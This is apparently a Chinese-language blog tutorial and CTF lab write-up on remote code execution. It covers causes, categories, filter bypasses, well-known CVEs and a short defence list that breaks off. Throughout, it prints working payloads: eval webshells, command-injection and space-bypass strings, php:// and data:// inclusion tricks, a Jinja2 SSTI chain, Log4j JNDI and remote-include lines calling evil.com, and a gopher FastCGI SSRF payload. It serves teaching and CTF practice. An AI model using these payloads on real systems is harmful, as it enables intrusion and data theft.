RCE是什么,原理,如何利用,分类,常见cve
RCE = Remote Code Execution(远程代码执行)
简单说:攻击者不需要登录服务器,只需要通过浏览器发送一个请求,就能让服务器执行他指定的代码或命令。相当于拿到了服务器的"遥控器"。
RCE 是 Web 安全中危害等级最高的漏洞类型之一。一旦成功,攻击者可以:
RCE 的本质是:程序把用户输入的内容,直接或间接地当成"可执行代码"来处理了。
最典型的就是 PHP 的 eval() 函数:
php<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST['cmd']);
}
?>
这段代码的意思是:如果 URL 里带了 cmd 参数,就把参数值当成 PHP 代码来执行。
攻击者访问:
/?cmd=system("ls");
程序实际执行的是:
phpeval('system("ls");');
system("ls") 是 PHP 里执行系统命令的函数,于是攻击者就看到了服务器上的文件列表。
继续访问:
/?cmd=system("cat /flag_29475");
就能直接读取 flag 文件,拿到 CTF 的 flag。
这里选择直接蚁剑连接

核心问题:eval() 把用户输入的字符串直接解析成了 PHP 代码。用户输入什么,服务器就执行什么。
有些程序不是直接 eval(),而是把用户输入拼接到系统命令里:
php$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
正常用户输入 127.0.0.1,执行的是 ping -c 4 127.0.0.1。
但攻击者输入 127.0.0.1; cat /flag,执行的是:
bashping -c 4 127.0.0.1; cat /flag
分号 ; 在 Linux 里表示"执行完前面的命令,再执行后面的命令"。于是 cat /flag 就被执行了。
核心问题:用户输入被直接拼进了系统命令字符串,没有过滤危险的分隔符。
还有一些 RCE 不是直接的 eval() 或命令拼接,而是通过更复杂的机制触发的:
这些的核心原理都是一样的:程序在处理用户可控的数据时,执行了不该执行的代码。
按照"攻击者是怎么把恶意代码塞进去的",RCE 可以分为以下几大类:
原理:用户输入被拼接到系统命令中执行。
典型场景:
危险字符:; | && || ` $() 等
提示
“|”:直接执行后面的语句。
“||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
“&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能
示例:
?ip=127.0.0.1|whoami ?ip=127.0.0.1;cat /flag ?ip=127.0.0.1`whoami`
直接ping
相关信息
127.0.0.1是本地环回地址

php<?php
// PHP 代码开始标记
$res = FALSE;
// 初始化一个变量 $res,值为布尔值 FALSE
// 这个变量用来存储 exec() 执行命令后的输出结果
if (isset($_GET['ip']) && $_GET['ip']) {
// 检查两个条件:
// 1. isset($_GET['ip']):URL 中是否有 ?ip=xxx 这个参数
// 2. $_GET['ip']:参数值是否非空(不是空字符串、不是 null)
// 两个条件同时满足,进入这个 if 分支
$cmd = "ping -c 4 {$_GET['ip']}";
// ⚠️ 漏洞核心在这里!
// 直接把用户输入的 $_GET['ip'] 拼接到命令字符串里
// 正常输入:127.0.0.1 → $cmd = "ping -c 4 127.0.0.1"
// 恶意输入:127.0.0.1; ls → $cmd = "ping -c 4 127.0.0.1; ls"
// 没有任何过滤,这就是"无过滤"题目的含义
exec($cmd, $res);
// exec() 执行 $cmd 字符串里的系统命令
// 第二个参数 $res 是数组,用来接收命令的每一行输出
// 比如执行 "ls" 后,$res = ['file1.txt', 'file2.php']
// 注意:exec() 只返回最后一行输出,完整输出存在 $res 数组里
}
?>
直接执行ls

单纯读显示不来,所以这里base64编码下
或者使用&,都执行效果

原理:用户输入被当成程序语言本身的代码来执行。
典型函数:
eval()、assert()、preg_replace(/e)、create_function()eval()、exec()eval()示例(assert 执行):
php$poc = "assert";
$poc("system('ls')");
assert() 本来是用来判断表达式是否成立的,但它会执行传入的表达式,这就形成了 RCE。
原理:两步走——先上传恶意脚本,再通过文件包含执行。
一句话木马:
php<?php @eval($_POST['pass']); ?>
上传后通过 include() 包含执行,或者用蚁剑、冰蝎等工具连接。

php<?php
// PHP 代码开始标记,告诉服务器从这里开始解析 PHP 代码
error_reporting(0);
// 关闭所有错误报告(包括警告、提示、报错)
// CTF 中常见做法:隐藏报错信息,防止泄露服务器路径等敏感信息
// 但在真实环境中,这会让调试困难,且不能阻止漏洞存在
if (isset($_GET['file'])) {
// 检查 URL 中是否有 ?file=xxx 这个 GET 参数
// 如果有,进入这个 if 分支;如果没有,跳到下面的 else
if (!strpos($_GET["file"], "flag")) {
// ⚠️ 这是本题的核心陷阱!
// strpos() 函数在字符串中查找 "flag" 子串
// - 返回 0:表示 "flag" 在字符串开头(第0位)
// - 返回 false:表示没找到 "flag"
// - 返回其他数字:表示 "flag" 在中间某个位置
// 所以:无论 strpos 返回 0 还是返回 false,! 之后都是 true
// 这意味着:
// ?file=flag.php → strpos 返回 0 → !0 = true → 绕过!
// ?file=shell.txt → strpos 返回 false → !false = true → 通过
// ?file=aflag.php → strpos 返回 1 → !1 = false → 被拦截
include $_GET["file"];
// 文件包含漏洞点!
// include 会把用户传入的文件路径对应的文件内容包含进来并执行
} else {
echo "Hacker!!!";
// 只有当 strpos 返回非0的正整数时才会进入这里
// 比如 ?file=shellflag.txt(flag 在中间)
}
} else {
highlight_file(__FILE__);
// 如果没有传入 file 参数,就高亮显示当前文件(index.php)的源代码
// __FILE__ 是 PHP 的魔术常量,表示当前文件的完整路径
// 这就是为什么你能看到这段代码的原因
}
?>

ctfhub的php://input
php<?php
// PHP 代码开始
if (isset($_GET['file'])) {
// 检查 URL 中是否有 ?file=xxx 参数
// 如果有,进入这个 if 分支
if ( substr($_GET["file"], 0, 6) === "php://" ) {
// 取 file 参数的前 6 个字符,判断是否等于 "php://"
// 只有以 php:// 开头的参数才能通过校验
// 这是本题的"过滤逻辑"——看似限制了只能用 php:// 伪协议
// 但实际上 php://filter 等协议依然可以读文件、甚至执行代码
include($_GET["file"]);
// 文件包含漏洞点
// 和上一题一样,include 会解析内容中的 <?php ?> 并执行
// 但本题限制了只能用 php:// 开头的协议
} else {
echo "Hacker!!!";
// 如果不是 php:// 开头,就拦截
}
} else {
highlight_file(__FILE__);
// 没有传 file 参数时,显示当前源码
// 所以你才能看到这段代码
}
?>
这里是phpinfo 里 allow_url_include是on
提示
allow_url_include = On 是什么意思 这是 PHP 的一个配置开关,控制 include()、require()、include_once()、require_once() 这四个函数是否允许使用 URL 包装器。 URL 包装器包括:
php://input(读取 POST Body) php://filter(过滤读取文件) http:// / https://(远程文件包含 RFI) ftp:// / ftps:// data://(内嵌数据)
1.如果 allow_url_include = Off:
include("php://input"); // ❌ 报错,不允许
include("http://evil.com/shell.txt"); // ❌ 报错
include("data:text/plain,<?php phpinfo();?>"); // ❌ 报错
2.如果 allow_url_include = On:
include("php://input"); // ✅ 可以,读取 POST Body 并执行
include("http://evil.com/shell.txt"); // ✅ 可以,远程文件包含


在服务器创建shell.txt文件
mkdir -p /var/www/rce echo '<?php @eval($_POST[CTFhub]); ?>' > /var/www/rce/shell.txt
创建conf文件
confserver { listen 8000; server_name _; root /var/www/rce; index index.html; location / { try_files $uri $uri/ =404; } }
通过文件包含读取shell.txt
使用蚁剑连接
?file=php://filter/read=convert.base64-encode/resource=/flag

或者?file=php://filter/read=convert.base64-encode/resource=../../../flag
这实际上也是目录穿越
提示
目录穿越也叫目录遍历,核心思想就是:
利用 ../(Linux)或 ..\(Windows)返回上一级目录的特性,从当前位置"跳"到不该访问的位置。
因为 include()、file_get_contents()、fopen() 这些函数本质上就是文件系统操作。它们接收一个路径字符串,交给操作系统去解析。
操作系统看到 ../ 就往上退一级,不会管这个路径是不是你"应该"访问的。PHP 也没有默认限制 include 不能跳出 web 目录。
原理:程序把用户提交的序列化数据直接反序列化。攻击者构造恶意数据,在反序列化过程中触发 Gadget Chain,最终执行命令。
类比:序列化像把玩具车拆成零件打包寄出去,反序列化是对方组装回来。但如果包裹里塞了"炸弹零件",组装时就会爆炸。
典型场景:
ObjectInputStream.readObject()(Shiro、Fastjson、Jackson)unserialize()(各种 CMS)pickle.loads()示例(Create_function RCE):
phpclass Noteasy {
private $a;
private $b;
public function __destruct() {
$a = (string)$this->a;
$b = (string)$this->b;
$a("", $b); // 把 $a 当函数调用
}
}
攻击者把 $a 设为 create_function,把 $b 设为 ';}highlight_file("/flag");/*,反序列化后触发析构函数,最终执行 create_function('', ';}highlight_file("/flag");/*'),在内部生成的匿名函数里执行了恶意代码。
原理:模板引擎渲染页面时,用户能控制模板内容,通过模板语法执行代码。
常见模板引擎:
| 语言 | 引擎 |
|---|---|
| Python | Jinja2 |
| PHP | Twig、Smarty |
| Java | FreeMarker、Velocity |
示例(Jinja2):
{{ self.__class__.__bases__[0].__subclasses__()[40].read() }}
原理:Java 的 InitialContext.lookup() 去连接攻击者控制的 RMI/LDAP 服务器,下载并执行远程恶意类。
经典案例:Log4j2(CVE-2021-44228)
${jndi:ldap://evil.com/Exploit}
https://zhuanlan.zhihu.com/p/391439312
Hello CTF 的文章展示了大量 CTF 中常见的 RCE 绕过技巧,这里按思路归类:
当 cat、ls、bash 等关键字被过滤时:
| 被过滤 | 绕过方式 | 原理 |
|---|---|---|
cat | ca\t、ca""t、ca\t | 反斜杠或双引号插入关键字中间,shell 会忽略 |
cat | more、less、head、tail、nl | 用其他读文件命令代替 |
cat | tac(倒序输出) | 功能相同,关键字不同 |
空格 | %20(URL 编码空格) | 浏览器发送空格 |
空格 | \t(TAB 键) | TAB 在命令行中等效于空格 |
空格 | <(输入重定向) | cat<flag 等效于 cat flag |
空格 | $IFS | Bash 的内置分隔符变量 |
; & | | %0a(换行符) | URL 编码的换行符可以分隔命令 |
; & | | ; | 直接用分号分隔多条命令 |
示例:
使用tac
使用
使用双引""
使用more
根据窗口大小,一页一页的现实文件内容

bash# cat 被过滤,用反斜杠绕过
ca\t /fl\ag
# 空格被过滤,用 TAB 代替
ca\t\t/fl\ag
# 关键字+双引号绕过
ca""t /fl""ag
# 用 * 通配符代替部分关键字
ca\t /fl*

这里给出几种解题方式
第一种利用
readfile('/flag.txt') 这个函数本身就直接向输出流写入文件内容

第二种
var_dump(file_get_contents('/flag.txt'));
file_get_contents() 是一个读文件的函数,它把整个文件读成一个字符串,但不会自己输出,必须配合输出函数才能看到。

第三种
反引号 ``` 是键盘上 Tab 键上面、数字 1 左边那个键。 在 PHP 里,把命令用反引号包起来,就相当于执行了这个系统命令,并把它的输出作为一个字符串返回。

提示
printf 和 var_dump 是干什么的?
它们都是 PHP 里用来输出信息的函数,就像 echo 和 print 一样。 这道题里 echo 被禁了,但 printf、var_dump 没有被禁,所以可以用它们来输出。
printf:和 C 语言的 printf 类似,可以用来格式化输出字符串。 比如:printf('%s', 'hello'); 会输出 hello。 var_dump:用来输出变量的详细信息(类型和值),通常用于调试。 比如:var_dump('hello'); 会输出 string(5) "hello"。
当输入长度被限制(比如不能超过 5 个字符):
?com=nl%20/* //使用 nl 查看,nl 用于显示文本并输出行号
nl 只有 2 个字符,/* 匹配根目录下所有文件,nl 会显示所有文件内容并输出行号,直接拿到 flag。
探姬老师的rce-labs-level 14-16
14关使用cat /f*,如果限制5就用nl

15关使用https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
这里复现的话时间来不及了,写不完文章了,所以解释下wp
原理
php<?php
/*
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_5字符RCE ---
*/
// 上面是文件头注释,说明这是 HelloCTF 的 RCE 靶场题目
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
// 为每个访问者创建一个独立的沙箱目录
// md5("orange" + 你的IP地址) 生成一个唯一哈希值
// 比如你的IP是 1.2.3.4,目录就是 /www/sandbox/a1b2c3d4...
@mkdir($sandbox);
// @ 符号抑制报错。创建沙箱目录,如果已存在也不报错
@chdir($sandbox);
// 进入沙箱目录。后续所有操作都在这个目录下进行
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
// ⚠️ 核心限制!
// 1. 必须有 ?cmd=xxx 参数
// 2. cmd 的长度不能超过 5 个字符
// 正常命令如 "cat /flag" 有 9 个字符,直接超了
@exec($_GET['cmd']);
// exec() 执行系统命令,但不输出结果到页面(需要配合输出重定向)
} else if (isset($_GET['reset'])) {
// 如果传了 ?reset=1,清空沙箱目录
@exec('/bin/rm -rf ' . $sandbox);
// 删除整个沙箱目录,相当于"重置"
}
highlight_file(__FILE__);
// 显示当前文件的源代码
// 这就是为什么你能看到这段代码
?>
这道题就像一次只能说一个字,但你得讲一句完整的话。
| 命令 | 长度 | 能做什么 |
|---|---|---|
ls | 2 | 列出文件 |
>a | 2 | 创建空文件 a |
sh a | 4 | 执行文件 a |
cat /flag | 9 | ❌ 超长了,直接不能用 |
curl xxx | 8+ | ❌ 超长了 |
那怎么执行长命令?答案是:把命令"拆成字",先写到文件里,再让 sh 念出来执行。
https://mp.weixin.qq.com/s/tRUg48R-ihcmrFHqnouk0w

当命令执行了但看不到输出时:
输出重定向:
bash127.0.0.1|cat /flag>1.php
把 flag 内容写入到 1.php,然后访问 1.php 就能看到内容。
时间盲注:
bash127.0.0.1|sleep 5
如果页面延迟了 5 秒才响应,说明命令执行成功了。
Base64 编码输出:
bash127.0.0.1|cat<flag_xxx.php|base64
把输出用 base64 编码后显示在页面上,避免被过滤或截断。
这里使用探姬的第九关-bash终端的无字母命令执行_八进制转义
ls /编码后

cat /flag编码后

提示
"为什么你写了个八进制 payload,在 bash 里能跑,但一到 PHP 的 system() 里就报错"?
system() 不是直接找 bash,而是找 shPHP 的 system("whoami") 底层逻辑是:
启动一个 sh 进程 → 把字符串丢给 sh 执行 → 返回结果
关键点:它找的是 sh,不是 bash。就像你点外卖,平台默认派的是"众包骑手",不是"专送骑手"。
在 Linux 里,/bin/sh 通常不是独立的程序,而是一个软链接(类似 Windows 的快捷方式),指向真正干活的 shell:
| 系统 | sh 指向谁 | 特点 |
|---|---|---|
| CentOS/RHEL | /bin/bash | bash 支持 $'\xxx' 八进制 |
| Debian/Ubuntu | /bin/dash | dash 不支持 $'\xxx' |
| Alpine(Docker 轻量镜像) | /bin/busybox | busybox 不支持 $'\xxx' |
验证命令(你在容器里执行):
bashls -l /bin/sh

如果输出:
/bin/sh -> /bin/dash # 不支持八进制转义,你的 payload 会报错 /bin/sh -> /bin/busybox # 不支持,报错 /bin/sh -> /bin/bash # 支持,payload 能跑
level10
RCE-labs 用的基础镜像是 php:7.3-fpm-alpine(Alpine 系统),默认:
bash/bin/sh -> /bin/busybox
busybox 是个极简工具集,它的 shell 功能很弱,不认识 $'\154\163' 这种语法。
所以作者必须在 Dockerfile 里加一行:
dockerfileRUN ln -sf /bin/bash /bin/sh
这相当于:把"众包骑手"强制换成"专送骑手",确保 system() 调到的最终是 bash,才能解析你的八进制 payload。
$'\154\163'(八进制暗号)system() 是个邮差,他只认"sh 翻译局"的地址ls → 执行成功not found作者 Dockerfile 里的 ln -sf /bin/bash /bin/sh,就是强行指定外包必须是 bash,保证你的暗号能被翻译。
php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。
当 include() 存在且过滤了 php:// 时:
data://text/plain;base64,xxxx(base64编码后的数据)


data:// 伪协议可以直接内嵌 PHP 代码。注意如果正则只匹配了 data://,去掉双斜杠写成 data:text/plain 也能绕过。
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格



常见绕过
| 类别 | 符号 | 示例 | 原理 | 适用环境/场景 | 限制 |
|---|---|---|---|---|---|
| Bash 内置变量类 | ${IFS} | cat${IFS}/flag | IFS 是 Bash 的内部字段分隔符(Internal Field Separator),默认值包含空格、TAB、换行。${IFS} 被解析后展开为空格。 | Bash | 过滤 $ { } 任意一个就失效 |
| Bash 内置变量类 | $IFS | cat$IFS/flag | 同上,不加花括号。但后面紧跟 / 时,Bash 可能把 IFS/ 当成一个变量名,解析失败。 | Bash | 后面字符不能是字母/数字/下划线,否则变量名粘连 |
| Bash 内置变量类 | $IFS$9 | cat$IFS$9/flag | $IFS + $9(第9个位置参数,通常未定义=空字符串)。$9 起到"隔断"作用,防止变量名和后面的 /flag 粘连。 | Bash | 过滤 $ 就失效 |
| Bash 内置变量类 | $IFS$1 | cat$IFS$1/flag | 和 $IFS$9 同理,用 $1(第一个参数,通常为空)做隔断。 | Bash | 同上 |
| 重定向类 | < | cat</flag | 输入重定向。cat 没有参数时从 stdin 读数据,< 把 /flag 的内容重定向给 cat 的 stdin。效果等效于 cat /flag。 | cat tac nl head tail sort sh 等支持 stdin 的命令 | ls</flag 不行,因为 ls 不接受 stdin |
| 重定向类 | << | cat<<EOF | Here Document,从后续输入读取直到遇到 EOF。 | 交互式/脚本 | CTF 中几乎不用,需要多行输入 |
| 重定向类 | <> | exec 3<>/flag | 读写重定向,打开文件同时用于读写。 | 高级用法 | 不能简单替代空格 |
| URL 编码类 | %09 | ?ip=127.0.0.1%0aca%09/flag | URL 解码后是 TAB 键(ASCII 9)。命令行中 TAB 和空格等效,可以分隔参数。 | GET 参数传递 | WAF 可能在 URL 解码前就过滤 %09;或者解码后过滤 \t |
| URL 编码类 | %20 | ?ip=127.0.0.1%0aca%20/flag | URL 解码后是普通空格。 | GET 参数传递 | 如果过滤了空格,这个直接死 |
| URL 编码类 | %0a | ?ip=127.0.0.1%0als | URL 解码后是换行符(LF)。换行可以分隔多条命令,但不是替代空格。 | 命令分隔 | 不是空格的替代,是换行执行 |
| URL 编码类 | %0b | — | URL 解码后是 Vertical Tab(垂直制表符)。某些环境可充当空白符。 | 冷门绕过 | 兼容性差 |
| URL 编码类 | %0c | — | URL 解码后是 Form Feed(换页符)。某些环境可充当空白符。 | 冷门绕过 | 兼容性差 |
| URL 编码类 | %a0 | — | URL 解码后是不可见空格(Non-breaking space)。某些 PHP 版本下可绕过空格过滤。 | PHP 特定环境 | PHP 5/7 某些版本有效 |
| Bash 语法类 | {cmd,arg} | {cat,/flag} | Bash 大括号扩展(Brace Expansion)。{a,b} 展开成 a b(中间有空格)。 | Bash | 展开后还是带空格,如果 WAF 在扩展前检查就死;且很多场景不支持 |
| Bash 语法类 | X=$'cat\t/flag';$X | 先赋值再执行 | 把带 TAB 的命令字符串存到变量,再执行变量。Bash 执行变量内容时会做字段分割。 | Bash | 需要分号 ; 可用 |
| 其他冷门方式 | IFS=,;cmd | IFS=,;cat,/flag | 临时修改 IFS 为逗号,然后用逗号分隔参数。 | Bash | 需要 = , ; 都可用,且命令要配合 |
| 其他冷门方式 | printf | printf '%s\n' /flag | 用 printf 输出,避免空格。 | 特定场景 | 不是直接执行命令 |
| 其他冷门方式 | xargs | echo /flag|xargs cat | 用管道把数据传给 xargs,xargs 用空格/换行分割参数后执行命令。 | 有管道符 ` | ` 可用时 |
使用分号;
在 Bash 和大多数 Shell 中,分号 ; 的作用是命令分隔符,用来在同一行里顺序书写多条命令。

过滤了运算符,这里的base64可以置前
或者直接more或cat,然后查看源码

?ip=127.0.0.1%0Als%0Acd${IFS}fla""g_is_here%0Als%0Atac%09*_228451597427899.php

原理:Log4j2 在记录日志时,会对 ${} 里的内容进行解析。如果内容是 ${jndi:ldap://evil.com/Exploit},Log4j2 会调用 JNDI 的 lookup() 去连接攻击者的 LDAP 服务器,下载并实例化远程类。恶意类的构造函数或静态代码块里可以执行任意代码。
为什么危害大:因为日志内容往往是用户可控的(比如用户名、User-Agent、请求参数),几乎所有调用日志的地方都可能被注入。
原理:PHP 8.1.0 开发版本中被植入了一个后门。当 User-Agent 头包含特定字符串时,会执行后面的命令。这是一个供应链攻击案例——攻击者直接污染了官方源码。
原理:Struts2 使用 OGNL 表达式语言处理用户输入。攻击者通过构造恶意的 Content-Type 头,让 OGNL 解析器执行了恶意表达式,最终调用 Runtime.exec() 执行系统命令。
原理:Fastjson 在反序列化 JSON 字符串时,会自动调用某些类的 setter 方法。攻击者构造特殊的 JSON,让反序列化过程中调用 JdbcRowSetImpl 的 setDataSourceName() 和 setAutoCommit(),触发 JNDI 注入,最终 RCE。
代码执行是 RCE 的一种子类型,但不是全部。
| 对比项 | RCE(远程代码执行) | 代码执行(Code Execution) |
|---|---|---|
| 范围 | 大类,包含多种实现方式 | 特指"把输入当代码执行"这一种方式 |
| 执行环境 | 可以是系统命令、程序代码、模板等 | 特指程序语言本身的代码(PHP/Python/Java) |
| 典型函数 | system()、eval()、assert()、Runtime.exec() | eval()、assert()、OGNL、MVEL |
| 关系 | RCE ⊇ 代码执行 | 代码执行是 RCE 的实现手段之一 |
简单理解:
whoami、ls)SSRF(Server-Side Request Forgery,服务器端请求伪造) 本身不是 RCE,但可以组合利用变成 RCE。
| 对比项 | RCE | SSRF |
|---|---|---|
| 本质 | 让服务器执行代码/命令 | 让服务器代替攻击者发起 HTTP 请求 |
| 直接危害 | 执行命令、读取文件、控制服务器 | 访问内网资源、读取本地文件、攻击内网服务 |
| 能否直接 RCE | 能 | 一般不能直接 RCE,需要配合其他漏洞 |
SSRF → RCE 的组合利用:
最典型的就是 SSRF + FastCGI 协议 RCE。
场景:一个网站存在 SSRF,允许你指定内网 URL。你发现内网有个 PHP-FPM 运行在 9000 端口。
攻击流程:
攻击者 → SSRF漏洞 → 目标服务器 → FastCGI协议 → PHP-FPM(127.0.0.1:9000) ↓ 构造恶意FastCGI Record ↓ 修改PHP_VALUE环境变量 ↓ 设置 auto_prepend_file = php://input ↓ PHP-FPM执行恶意代码 → RCE
具体 payload(用 gopherus 生成):
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00...
通过 SSRF 发送构造好的 FastCGI 协议数据包,让 PHP-FPM 把 auto_prepend_file 设为 php://input,然后在 POST 数据里写入 PHP 代码,PHP-FPM 就会执行这段代码,实现从 SSRF 到 RCE 的跃迁。
另一个组合:SSRF + Redis 未授权访问
攻击者 → SSRF → Redis(内网) → 写入计划任务/SSH公钥 → 服务器执行 → RCE
SSRF → 发现内网服务 → 攻击内网服务 → RCE → Redis未授权 → 写WebShell/计划任务 → RCE → FastCGI → 修改PHP配置 → RCE → MySQL LOAD DATA LOCAL → 读取客户端文件 → 信息泄露 → 内网Web应用漏洞 → SQL注入/RCE 文件上传 → 上传WebShell → 包含执行 → RCE → 上传.htaccess → 修改解析规则 → RCE SQL注入 → 堆叠查询 → 执行系统命令 → RCE(如SQL Server xp_cmdshell) → 写文件到Web目录 → WebShell → RCE 反序列化 → Gadget Chain → 调用Runtime.exec() → RCE → 调用文件写入方法 → WebShell → RCE
这是安全的第一定律。所有来自用户的数据(URL参数、POST数据、Cookie、Header、文件名)都要视为不可信。
命令注入:
escapeshellarg())system()、exec()等危险函数,或严格限制使用场景代码注入:
eval()用户输入反序列化:
模板注入:
SSRF防御(防止被组合利用):